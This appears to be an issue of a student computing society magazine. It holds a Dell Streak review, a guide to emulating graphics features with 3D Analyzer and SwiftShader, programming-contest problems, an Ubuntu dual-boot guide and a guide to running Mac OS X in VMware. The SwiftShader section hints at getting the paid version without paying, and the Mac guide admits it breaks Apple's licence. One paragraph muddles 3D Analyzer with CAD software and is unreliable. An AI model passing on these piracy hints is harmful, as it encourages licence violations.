    16GB micro SD memory card.Slim buttons for volume,

    power, and camera mode run across the top edge of

    the Streak, along with a standard 3.5mm headphone

    jack .

    InterfaceThe Dell Streak fits right in with today's superbly spec-ced Android smartphones. It ships with Android 1.6 in-stalled, which is a little antique compared to the snazzyAndroid 2.1 OS. Dell is promising an over-the-air updateto Android 2.2 down the line, but until then, featuressuch as multitouch gestures, multiple e-mail in-boxes,

    live wallpaper, and Flash video support, are out ofreach.

    TechReview

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    The tabs at the top of the screen (again, in landscape

    mode) are a great addition, and the second one along

    brings up shortcuts to all of your homescreens. The tab

    in the left hand corner brings up the Android menu,

    featuring all of your apps and widgets. The third tab

    along is for notifications, while the fourth offers con-

    nectivity options, alarms and battery life.

    Thanks to the 1GHz Snapdragon processor, moving be-

    tween screens, opening applications, and indeed multi-

    tasking is extremely fast.The accelerometer is fast too,

    but the touchscreen doesn't quite have the overall flu-idity of theiPad. The three touch-sensitive buttons on

    the right-hand side are perfectly placed and underpin

    the whole interface. The UI is sensible, with some fabu-

    lous touches the make this device a pleasure to use.

    Contacts and Calling

    Adding Contacts from Gmail, Facebook & Outlook are

    easy with merge feature helpful in deleting repeated

    contacts. Next to each name are the methods of con-

    tact, enabling you to call, send email, texts or visit

    their Facebook without entering the actual contact

    page. Only problem is streaks inability to constantly

    render Facebook Pictures. Holding the Menu key

    brings up the keyboard, and you're able to scan for

    contacts that way.It's quite hard to be accurate withthe scrolling as, although lightning fast, it doesn't

    boast nearly the same level of control or the same

    fluid experience that's available on the iPad and WP 7.

    The calling experience is as straightforward as on any

    other Android phone out there. Pressing the phone icon

    brings the dialpad to the right of the screen. On the left,

    is a list of your recently dialledcontacts. The Streak

    gets around the problem of wading through numerous

    contacts by offering Voice Dial calling functionality

    thanks to the Nuance plug-in which is surprisingly very

    accurate.The calling experience is great, voices come

    through loud and crisply on the both the phone and loudspeakers.

    Internet

    The category's convenience as a browsing device su-

    persedes the awkward, shrunken experience of the

    smartphone, and is far more portable than the average

    laptop. The WebKit Android browser is still the best

    available for devices carrying the 1.6 operating system,with Mozilla's new Firefox for Android release only

    available on Android 2.0 and above but Opera 5 is

    worth a try. The screen is large enough to have an

    eBook reader feel to it and adopting a one-handed ap-

    proach and using the thumb to scroll though the page

    came naturally.

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    Hitting the bookmark tab in the top right of the screen

    allows access to bookmarks, most visited pages and

    web history, while the Rooms tab offers access to theweb windows you have open.

    Pinching to zoom works very well on the touchscreen

    but Dell could have done a bit more by incorporating

    Flash.

    Messaging

    Dell Streak comes with text messaging (unlike iPad) &

    email facility. The keyboard has been modified by Dell

    to suit up the 5 inch screen. Two-handed in landscape

    is probably quickest for typing and offers the most

    natural feel.The default keyboard predicts both the

    word youre trying to type as well as the next word

    you may type based on the previous word. Butstillthe keyboard seems to be inaccurate while tying fast

    on this side of EVO 4G or IPad. Heres where the flexi-

    bility of Android is nice. You can increase your typing

    speed by installing an app swift Key. The Streak's full-

    sized email widget sits comfortably in one of your

    Rooms, updating live and enabling you to scroll

    through the most recent 25 messages. All in all, it's a

    fine gadget for email, and everything is done with tre-

    mendous speed.

    Camera

    The surprise package on the Dell Streak is the fantas-tic 5-megapixel camera with the dual flash. It certainly

    not the best Android Cam but still does its job good.

    Pictures can be taken using the hard shutter button at

    the top of the phone or the touchscreen, but a single

    press on the shutter button produces a super-fast

    auto focus before taking the picture.Pictures take a

    little while to complete the capture and return to

    shooting mode but the detailing in pictures is fine. Pic-ture share options include Video is Facebook, Twitter,

    email and MMS as well as Flickr and Picasa.

    Video recorded is of VGA quality and has all of the ap-

    plicable options, including the ability to switch between

    MPEG-4 and H.263 capture, the detailing in Videos is

    not that good compared to likes of Galaxy S & HD

    7.Videos can be uploaded to YouTube easily.

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    Another ace in the hole that it has and IPad misses is

    the front-loaded VGA webcam, which will enable video

    conferencing once a compatible application appears in

    the Android Market.

    Media

    Interface for Media playback is nice,intelligent and the

    'now playing' widget for the Homescreen is a handy

    way to carry on controlling music while working in

    other areas of the phone.Video playback also looks

    great on the Streaks bright and crisp display. Audio

    sounds clear and can get surprisingly loud, coming out

    the speaker on the bottom of the deviceeven when

    the Streak is laying flat on a surface. As you would

    expect from such a small speaker, there is no bass

    response at all.

    Playlists can be created quite easily and there is a

    Cover Flow-like interface. Skipping album or playlisttracks is possible from the Homescreen. Tracks can

    be downloaded directly to the device via Wi-Fi and 3G

    using the Amazon MP3 app. Boasting a 480 X 800 res.

    details look crisp and support for WMV is an added

    bonus.

    Viewing photo albums is also a pleasant experience,

    with pictures rendering quickly even when zooming

    in.The slideshow setting is a handy feature, moving

    and scanning around pictures nicely as they transition

    into each other. But the phone falls short of the media

    experience given by Galaxy Tab or Playbook

    PC SyncThe Streak comes with the Dell PC Suite (stored on the

    devices Micro SD card) for synchronizing the Streak

    with Windows PCs and for backing up the Streak. You

    can synchronize contacts, calendar entries, tasks, and

    notes between the Streak and Outlook. You can set

    conflict and delete policies, and even set the Streak to

    automatically sync whenever it attaches to your PC.

    ConnectivityDell Streak has everythingone'd expect from a modern

    smartphone here, with HSDPA as well as EDGE and

    GPRS for on-the-go mobile broadband. Wi-Fi is natu-

    rally on-board, with 802.11b/g connectivity maintaining

    signal exceedingly well and yielding some super-fastbrowsing, working in tandem with the 1GHz processor.

    Bluetooth 2.0+EDR also features and, like the Wi-Fi and

    GPS settings, is accessible from the handy connec-

    tivity bar on the Homescreen.The GPS is also useful

    for geo-tagging pictures too.

    Battery

    Behind the back cover is a 5.661 Whr (1530mAh @3.7V) removable battery. Thats 2.9% larger than the

    EVO 4Gs battery and 7.7% larger than what you get in

    the iPhone 4.Overall battery life on the Streak is very

    good. In 3G web browsing battery life its second to

    only the iPhone 4 and in Wi-Fi it gets ahead of IPhone

    4.It does commendable job in video playback too with a

    2Mbps H.264 stream running continuously for 6 hours

    and 47 minutes. You could use the Streak all day with-out having to charge it again.

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    MapsGoogle's turn-by-turn voicenavigation (and that too

    free) plus a 5-inch screen equals a stand-alone sat-

    nav device of considerable note, and is another reason

    to opt for this device over other tablets and smart-

    phones. It's a brilliant application that utilises the

    Streak's built-in compass and GPS to guide you to

    your destination.It's easy to add layers to the basic

    map view, like the satellite maps as well as traffic,

    parking and gas station information and it's easy to

    switch to Google Street View by double-tapping on thescreen.

    There are various other views, such as street level

    and helicopter, and voice instructions are as clear as

    you'd expect from a stand-alone sat-nav device. I

    there's an awesome deployment of regular old Google

    Maps on boardalso but Navigation really makes the

    headlines on the Dell Streak and offers a definite rea-

    son to buy this over the iPad.

    AppsIt comes preloaded with the useful Apps like Facebook

    and Twitter and more apps can be purchased from the

    Android Market. The Android Market improves on a

    daily basis, with 130,000 promised by the end of the

    year. The custom Facebook and Twitter widgets areparticularly effective, occupying half a Room each,

    comfortably alongside each other.Both widgets have

    been specifically designed for the Dell Streak and fea-

    ture live updates as well as the ability to update your

    status with a single touch. Other notable Apps are theYouTube App and the Exchange Server App. Dell Stake

    though lags in the manufacturers widget outside of

    Android Market like MotoBlur and HTC Sense UI.

    Benchmark Tests

    The first two benchmark tests used are for Android

    devices.

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    Conclusion

    Dell Streak offers user a good media experience with Rich andvibrant screen. It has a Fantastic camera on this side of Sony,

    Packs an excellent browser better than Safari. Streak has a

    sleek & attractive design. Dell has made the 1.6 quite good to

    use with the intuitive interface installed on top of the OS. Google

    Navigation for free makes this device a winner in navigation

    category.It packs in a super-fast processor QSD 8250 slower

    to hummingbird only.

    There are minor disappointments, such as the poor speakers,

    under-performing music player, distinct lack of a messaging

    dictionary and lack of Flash support.

    If you have your heart set on an iPad then this won't change

    your mind. Apple's App Store and the multitude of impressive

    new apps are beyond reproach, notwithstanding its brilliant

    touchscreen and overall user experience.However, this device can confidently claim to offer greater function-ality than most devices, including the iPad. A smartphone, a brilliant camera, a web-savvy tablet PC and a sat-

    nav packed into a sleek and sexy package that's still small enough to fit in the pocket.

    Here is a device that truly bridges the gap between the smartphone and tablet universes and proves, once and

    for all, that you really don't need both.

    -Kamal Joshi

    COE I , 1st Year

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    GamerzCorner

    MAKING IT WORK WITHOUT

    THAT GRAPHIC CARDYou just got that brand new game, finished installing itand are too excited to try it out after hearing its ravingreviews. You launch the game, and BANG!.. all u see is ablack screen! Or maybe you hear some sounds but novideo. Or worse still you get the error message Videocard not compatible.

    Has it ever happened to you? I am sure all you feel thenis the frustration of having a useless integrated graph-ics card or sometimes even a primitive dedicated card.

    So what do you do? Shell a ton of money for a brand newgraphics card which may not even be compatible withyour old mother board? Or just let it go and be envious

    of your friends play the same games with ease?

    Neither of the options sound very promising So here is

    an alternative to this dilemma.-EMULATION!.. Confused?

    Read on.

    Emulation refers to the ability of a computer program orelectronic device to imitate another program or de-vice. Thats what wikipedia says. Simply put, the functionof an emulator is to provide the required functioning ofa device(with insufficient resources) with the help of anexternal device.

    So basically what a graphics emulator does is providesfor the missing graphical settings using the power of theCentral Processing Unit. So how do they really work?Well before we discuss about that lets introduce themost popular softwares available today for graphicsemulations.

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    3D Analyzer

    Our savior from Tommti systems - The 3D AnalyzerTool. 3D analyzer was created and refined to overcomelimitations posed by modern 3D Games and other Appli-cations on several current mainstream 3D Cards. Itsort of Tricks your system into thinking it has aNvidia, or even ATI graphics card!!

    It can emulate all the feature of a 3d graphics card likepixel shader 1.1, 1.4, 2.0, bump maps and many otherfeatures. You dont need to worry about not under-standing what these are, you will find out eventually.

    So to get started first download the latest stable re-lease of 3D analyzer (simply google it, youll get the linkeasily). The latest version is 2.36, however it has a mi-nor bug, so it would be better if you use the version2.26.

    Extract the files and then follow the steps:

    1. Now Run 3DAnalyze.exe file.

    2. Press SELECT button, locate and open the main ex-ecutable program of the game. You need the select themain executable file itself not the shortcut i.e the selectthe executable file of the game from the directorywhere it is installed on.

    3. Emulating missing hardware features with 3D-

    Analyze: Now comes the most challenging part. What todo with the huge selection of options in the interface??

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    GamerzCorner

    Well to able to chose the correct ones you need to have

    a basic idea of what they really do.The most important settings are the setting up of thecorrect pixelshader. A pixel shader is a computationkernel function that computes color and other attrib-

    utes of each pixel. Pixel shaders range from alwaysoutputting the same color, to applying a lighting value,

    to doing bumpmapping, shadows, specular highlights,translucency and other phenomena. They can alter thedepth of the pixel (for Z-buffering), or output more than

    one color if multiple ren-der targets are active. Apixel shader alone cannotproduce very complexeffects, because it operates only on a single pixel, with-out knowledge of a scene's geometry.

    The other important factor is the TnL (Transform andLighting) settings. The functions of the other settingscan easily be googled but you can run your game with-out learning about them as well.

    Following are main 3D-Analyze settings to check if youwant emulate a DirectX version starting from previousone.

    4. The text box VendorID and DeviceID are useful if the

    game won't work again and it will show error message

    unsupported video card.It emulate the video card withNVidia or ATI Rademon.Fill the ids according to the device.

    At last click on "RUN" button, then the game will begin;of course correct execution isn't ensured because 3D-Analyze can't perfectly substitute hardware lacks.

    The following screenshot shows how you can run GTASan Andreas successfully by just having a 128 mb inte-grated INTEL chipset video card with a modest 1 GB RAM.

    The settings vary from game to game, so you might

    have to try out some of the options, the most standard

    options have already been put in the above screenshot.

    If you get stuck. Start with your problem -as an example- An error message comes up saying "Your GFX carddoes not have Pixel shader capibilities"or something tothat end.

    Now, open 3D Analyzer, click Select, go to your exe file.

    THEN, check the following boxes if you have the pixelshader problem:

    34

    http://en.wikipedia.org/wiki/Colorhttp://en.wikipedia.org/wiki/Pixelhttp://en.wikipedia.org/wiki/Pixelhttp://en.wikipedia.org/wiki/Color
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    'force anisotropic filtering''skip pixel shader version 2.0' (or whatever version you decide)

    However, if the game still doesnt work, check the error message for the problem - chances are it can bechanged in 3D Analyzer.e.g. Error message=Problem with textures... to solve, check the 'disable textures'.

    Once you get the right combination, save your batch file and enjoy the game !J

    Some of the popular games thatwork with 3D Analyzer:-

    *ActofWar:DirectAction

    *AdventRising

    *Battlestations:Midway

    *Black&White2

    *BloodRayne2

    *BoilingPoint:RoadtoHell

    *BrothersinArms:RoadtoHill

    30

    *CaesarIV

    *CallofCthulhu:DarkCorners

    of

    the

    Earth

    *Chaotic

    *TheChroniclesofNarnia:The

    Lion,theWitchandtheWard

    robe

    *The

    Chronicles

    of

    Riddick:

    EscapefromButcherBay

    *ColinMcRaeRally2005

    *CompanyofHeroes

    *DeusEx:InvisibleWar

    *DevilMayCry3(Useskippixel

    shadersoptions,force100Hz,

    checkperformancemode,force

    SwTnL;TestedonIntel865on

    boardgraphics)

    *Earth2160

    *EmpireEarth2

    *Eragon

    *F.E.A.R.

    *Half

    Life

    2:

    Episode

    Two

    *HeroesofMightandMagicV

    *JustCause

    *LegoStarWars:

    *LordoftheRingsOnline

    *Lord

    of

    the

    Rings:

    The

    Return

    oftheKing(RequiredLOTRTex

    tureFix)

    *MarcEckosGettingUp:Con

    tentsUnderPressure

    *Marvel:UltimateAlliance

    *MedalofHonor:PacificAs

    sault

    *MedievalII:TotalWar

    *MegaManX8

    *MenofValor

    *NeedforSpeedCarbon

    *PiratesoftheCaribbean:The

    LegendofJackSparrow

    *Portal

    *PrinceofPersia:TheSandsof

    Time

    *Psychonauts

    *RichardBurnsRally

    *Roboblitz

    *SeriousSam2

    *SilentHill3

    *SilentHunterIII

    *SniperElite

    *Spellforce2:ShadowWars

    *StarWars:RepublicCom

    mando

    *Sudeki

    *TeamFortress2

    *TestDriveUnlimited

    *TheGodfather:TheGame

    *TheHouseoftheDeadIII

    *The

    Matrix:

    Path

    of

    Neo

    *Thief:DeadlyShadows

    *TitanQuest

    *TocaRaceDriver3

    *TomClancysRainbowSix:

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    3D Analyzer software is ALSO designed to eliminatecostly manual procedures and to automatically add

    machining operations to CAD(Computer Aidied Design)drawings. Historically, manually generating code wastime consuming task. Integration with several 3D CADapplications in conjunction with an easy interfacemakes 3d Analyzer a strong market leader!!!

    SWIFTSHADER:

    SwiftShader is the world's fastest pure software 3D

    renderer with DirectX 9.0 class features, includingsupport for advanced graphics features such asShader Model 2.0, predication, floating point rendering,stenciling, and much more. SwiftShader is built to pro-vide the same APIs that developers are already usingfor their games and applications. This makes it possibleto directly integrate SwiftShader into applications with-out any changes to source code. SwiftShader can ren-

    der games as complex as Half Life 2 or NFS Carbonentirely in software.

    SwiftShader performs between 50 and 100 times fasterthan Microsoft's Direct3D Reference Rasterizer in

    tests with sample applications and can achieve per-formance that surpasses low end integrated graphics

    hardware in many cases.

    How to use it? Compared to 3D analyze it is extremelysimple to use. Just download the latest version ofswiftshader(v2.01) and extract the files. You will getonly the demo version but if you are smart enough, youcan get the full version as well. You will get the two DLLfiles which you just have to put in the same folder asthe exe files of the game and launch your game.

    However the biggest disadvantage is that you mightget a very slow frames per second speed but in the

    new core processers of intel I doubt if that will be aproblem anymore.

    Now you must be wondering, how does it actually

    work? Well I would advise you to only read the follow-ing description if you have good knowledge of the func-tioning of your computer.The magic behind SwiftShader2.0's performance is the SwiftASM runtime assembler.Right now, this run-time assembler only supports x86

    architectures with support for SSE, SSE2, and SSE3.

    It is the foundation upon which the core rendering fea-tures of SwiftShader is built, and it helps reduce theoverhead caused by mispredicted code branches andcache misses and the like.

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    The high-level architecture of SwiftShader looks like this:

    The software performs a lot of tricks to avoidprocessor bottlenecks in each phase of thegraphics pipeline, from triangle setup and vertexprocessing to texture sampling and pixel shaderprocessing. It simultaneously uses a modernCPU's SSE and MMX units along with the standardinteger pipeline where appropriate, to make surethe CPU is as fully utilized as possible.

    I hope this article helped you opened a differentaspect of the gaming industry. Watch this spacefor similar informative articles!!

    -Sarvagya Mukhi

    COE, 2ndyear

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    Rules and Regulations:-1. Only CSI Members are eligible to participate in the competition.2. Accepted Languages are C/C++(GNU-GCC compiler),Java,Python.3. The answers to all the problems must be submitted latest by 30thJuly, 2011.4. The compiler used must be specified in the submission.

    5. All solutions to be sent to [email protected]. Solutions will be presented in the next issue.7. The winners will be judged on the preferences of memory usage and time taken to solve the problems.8. Winners and prizes will be notified by email and their names will be published in the next issue.

    9. Happy solving!PROBLEMS:-One day N students of Byteland Primary School went on a trip to the zoo. There are M consecutive

    cages in the zoo numbered from 1 to M. In each cage, there is exactly one animal, whose species is rep-resented by a number from the range 1 to K.After the trip, all of the students told their teacher about their observations during the trip. The storyof each of the students is of the form: "The animal in the i-th cage is v1 and the animal in the (i+1)-st

    cage is v2".

    However, the teacher knows that there are exactly L liars among her N students. A liar is one who tellsthe name of at least one of the two animals incorrectly.

    The teacher herself has made Q guesses. Each guess is of the form: "The animal in the i-th cage is v."In the worst case and best case, how many correct guesses could the teacher have made?

    InputThe first line contains the number of test cases (about 10). Each test case has the following form.

    The first line contains the numbers N, M, K, L and Q (L

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    OutputFor each test case, print in a single line the minumum and the maximum number of correct guesses that the teachercould have made.

    ExampleInput23 4 5 1 41 1 12 2 13 2 21 12 1

    3 14 2

    1 4 3 1 73 1 21 11 11 21 2

    1 31 31 3

    Output3 32 3

    Tower ParkingThere is a new revolution in the parking lot business: the parking tower. The concept is simple: you drive

    your car into the elevator at the entrance of the tower, and the elevator and conveyor belts drag the carto an empty parking spot, where the car remains until you pick it up. When you return, the elevator and

    conveyor belts move your car back to the entrance and you're done.The layout of the tower is simple. There is one central elevator that transports the cars between the dif-

    ferent floors. On each floor there is one giant circular conveyor belt on which the cars stand. This belt

    can move in clockwise and counterclockwise direction. When the elevator arrives on a floor, it becomespart of the belt so that cars can move through it.

    At the end of the day the tower is usually packed with cars and a lot of people come to pick them up. Cus-tomers are processed in a first come first serve order: the elevator is moved to the floor of the first car,

    the conveyor belt moves the car on the elevator, the elevator is moved down again, and so on. We like toknow how long it takes before the last customer gets his car. Moving the elevator one floor

    ProgrammerzCorner

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    up- or downwards takes 10 seconds and moving a conveyor belt one car in either direction takes 5seconds.

    InputOn the first line one positive number: the number of testcases, at most 100. After that per testcase:

    One line with two integers hand lwith 1 h 50 and 2 l 50: the height of the parking tower andthe length of the conveyor belts.

    hlines with lintegers: the initial placement of the cars. Thejth number on the ith line describesthejth position on the ith floor. This number is -1 if the position is empty, and rif the position is occu-

    pied by the rth car to pick up. The positive numbers form a consecutive sequence from 1 to the num-ber of cars. The entrance is on the first floor and the elevator (which is initially empty) is in the first

    position. There is at least one car in the parking tower.

    Output

    Per testcase: One line with the number of seconds before the last customer is served.

    Sample Input21 5-1 2 1 -1 33 6-1 5 6 -1 -1 3-1 -1 7 -1 2 9-1 10 4 1 8 -1

    Sample Output25320

    Note:students have to answer the given question keeping in view the deadline.along with the answers you ll

    have to explain the logic you have used in your program.the most suitable answer would be declared the winner.

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    Introduction

    Ubuntu is a linux distro (linux distribution) based on

    Debian (another distro). A distro, loosely defined, is a

    package of applications bundled along with the linux

    kernel to make a complete GUI based operating sys-

    tem. There are literally thousands of distros available,but Ubuntu is the most famous of them all. This is be-

    cause the development of Ubuntu is commercially

    backed by Cannonical Ltd. , headed by Mark Shuttle-

    worth (Mark was the second person ever to go into

    space in a self-funded mission)

    Dual Boot Installation #1

    First method is to install ubuntu is to install it afterwindows. This is the preferred method of installing Ub-

    untu as this replaces Windows bootloader (NTLDR) with

    ubuntus bootloader GRUB (Grand Unified Bootloader).

    We need to install Ubuntu after windows, otherwise,

    when installing windows, NTLDR will replace GRUB, and

    NTLDR dosent support linux.

    Ubuntu is a live distro, meaning is does not require in-

    stallation to run, hence we have 2 ways to go aboutnatively installing ubuntu :

    #1 Use Live CD provided (download the .iso file from

    www.ubuntu.com and burn the iso using a suitable soft-

    ware)

    #2 Use a pen drive. (use sofware such as Fedora USB

    Installe/UnetBootin to write the CD image to a pen

    drive....so that we can directly boot from the pen drive)

    After running the OS, select Install icon from the Ub-

    untu desktop and follow the on-screen instructions

    Dual Boot Installation #2

    The second method to install Ubuntu is using WUBI

    (Windows based Ubuntu Installer). This works by creat-

    ing a disk-image on the hard drive, which can emulate

    the file-system ubuntu uses(ext3 or ext4). This method

    uses NTLDR only as a bootloader. The advantage of this

    method is ease of install and no chance of accidently

    deleting data as we don't have to bother with partitions

    and file-systems. The obvious downside is the prefor-

    mance hit we get because of the extra layer of proc-

    essing involved (ext file-system to FAT/NTFS conver-

    sion). Further, as FAT/NTFS is prone to fragmentation,the preformance of ubuntu gradually tends to de-

    crease.

    41

    http://www.ubuntu.com/http://www.ubuntu.com/
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    To use WUBI :

    Open wubi (shown in the figure) from the disk or usb.

    Ubuntu menu will open up. Select install inside windows. Rest is a standard way of installing. Select drive

    to install Ubuntu. Enter a username and password for ubuntu account and click on Install.

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    After it has finished installing, reboot the PC. And now we will have an option to boot into windows or either ub-untu.

    As you can see in Uninstall or change a program , ub-untu is installed as application under windows.

    Note : To change the bootloaders first preference of OSin Windows 7,

    1.Go to Start Menu ->Control Panel ->System (AlternatelyStart Menu ->Right Click on Computer ->Properties)

    2.Click on 'Advanced system settings'

    3.In the advanced tab, select 'Settings' for Startup & Repair

    4..Select the Default Operating System and the timeout before the default OS loads...

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    Many computer shoppers have a

    tendency to buy Mac as they can not only

    use OS X, but Windows as well. That is one strong ad-

    vantage that Macs have in the Mac vs. PC war. Apple

    computers are capable of running Windows, either

    through Bootcamp or virtual machines.

    So, why dont we see Windows PCs running OS X? Well,

    Windows PCs are capable of running OS X. But, it is

    against Apples licensing agreement to do so. Thus, this

    article is intended for educational and demonstration

    purposes only.

    People who are familiar with virtualization must have

    heard of the software VMware Workstation. VMware

    workstation helps in creating a virtual environment for

    another OS to run.For running parallel OS your CPU

    must support Virtualisation which is available since

    Core 2 Duo in Intel & Athlon X2 in AMD.

    For running the OS you must haveVMware Workstation/VMware Player

    VMware Config file for Mac OS X (Mac OS X Server 10.6

    (experimental).vmx)

    Mac OS X VMware virtual file(Mac OS X Server 10.6

    (experimental).vmdk)Mac OS X VMware bios and Metadata files

    darwin_snow.iso

    Steps

    Install VMware Workstation on your PC with Typical

    Configuration. Upon installation restartyour PC.

    Put the Darwin_snow.iso file to drive : C

    Create a folder Snowy_VM in a drive with lots of

    empty space and place your Mac OS X Server

    10.6 (experimental).vmx,Mac OS X Server 10.6

    (experimental ).vmdk& other Mac vmware files

    in that folder.

    Now that you have Workstation 7 installed ,run

    VMware and choose Open Existing VM or Team

    Browse to Mac OS X Server 10.6

    (experimental).vmxfile and open the file

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    From the Mac OS X Server tab in the VMware Work-

    station window, click the edit virtual machinesettings icon. You may adjust the hard drive

    size, memory, etc, to your liking.

    Select CD/DVD (IDE) and under the Connection set-

    tings, select Use ISO Image File. Click the

    Browse button and navigate to the Dar-

    win_Snow.iso

    Now click on Power on this virtual machine and

    press F8 key. You would see a screen similar tothe screenshot placed below

    Now point your virtual machine

    to OS X Snow Leopard DVD you

    have. To do this, right click on

    CD/DVD option found in lower

    right most corner of your

    VMware window and selectsettings.

    Mount OS X Snow Leopard DVD

    on any virtual DVD(I prefer

    Daemon Tools) drive and se-

    lect the "Use physical drive"

    option.

    Now go back to the screen in

    step 8 and select c option

    "BOOT DVD". You should now see OS X boot screen with Apple logo.

    You should now be at the normal Snow Leopard install screen. Click continue on the first screen that comesup. On the second screen, click the utilities option in the install window and select disk utility. Use diskutility to change the hard drive format type to OS X Extended (Journaled). Exit disk utility and let OS Xinstall completely.

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    Upon install of Snow Leopard, your virtual machine will restart. After it restarts you will need to do a cou-

    ple of things to get into Snow Leopard. Select CD/DVD options, like you did before, and use the Use ISO

    Image File option.

    Browse to the Darwin_Snow.iso and select it. Now, upon powering on your virtual machine, it should boot

    directly into Snow Leopard. You may need to force a couple of restarts until Snow Leopard loads cor-

    rectly for the first time. After it does, adjust your settings from within Snow Leopard, save, and you

    should be good to go.

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